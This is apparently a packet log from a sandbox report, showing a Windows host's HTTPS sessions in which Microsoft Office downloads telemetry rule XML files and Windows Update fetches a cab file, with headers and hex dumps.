2024-11-20 23:03:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:13 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:13 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:13 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230313Z-178bfbc474bxkclvhC1NYC69g400000000e000000000ebhp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:13 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:13 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:13 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230313Z-1777c6cb754rz2pghC1TEBghen0000000a6g0000000077m7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:13 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49738	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:14 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HBsmZ7B8yt7KLyP&MD=HXNXESRZ HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 23:03:15 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 589eaa4c-3d08-4262-86d7-17ce5466090f MS-RequestId: 5bb8bf82-8997-47ac-b918-67440c64db41 MS-CV: zOXXAshRkUWiI7dF.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 23:03:14 GMT Connection: close Content-Length: 24490
2024-11-20 23:03:15 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 23:03:15 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:15 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:15 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230315Z-178bfbc474bscnbchC1NYCe7eg00000000t000000000k2x2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:15 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:15 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:15 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230315Z-1777c6cb754ww792hC1TEBzqu400000009zg00000000vpzr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:15 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:16 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:15 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 79192ebf-401e-0035-7e68-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230315Z-178bfbc474btvfdfhC1NYCa2en00000000pg00000000tytq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:16 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:15 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:15 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 95b9e869-801e-008c-3081-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230315Z-r1d97b995774zjnrhC1TEBv1ww00000009h00000000058yq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:16 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:16 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 57b2d8b6-201e-0033-2767-3bb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230316Z-178bfbc474bwlrhlhC1NYCy3kg00000000r0000000003uqe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:16 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:17 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:17 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230317Z-178bfbc474btrnf9hC1NYCb80g00000000r0000000010pa6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:18 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:17 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:18 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:18 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: d277967d-801e-0047-0163-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230318Z-178bfbc474b7cbwqhC1NYC8z4n00000000dg000000009p2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:18 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:17 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:18 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230318Z-1777c6cb754xlpjshC1TEBv8cc0000000a9g00000000vtfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
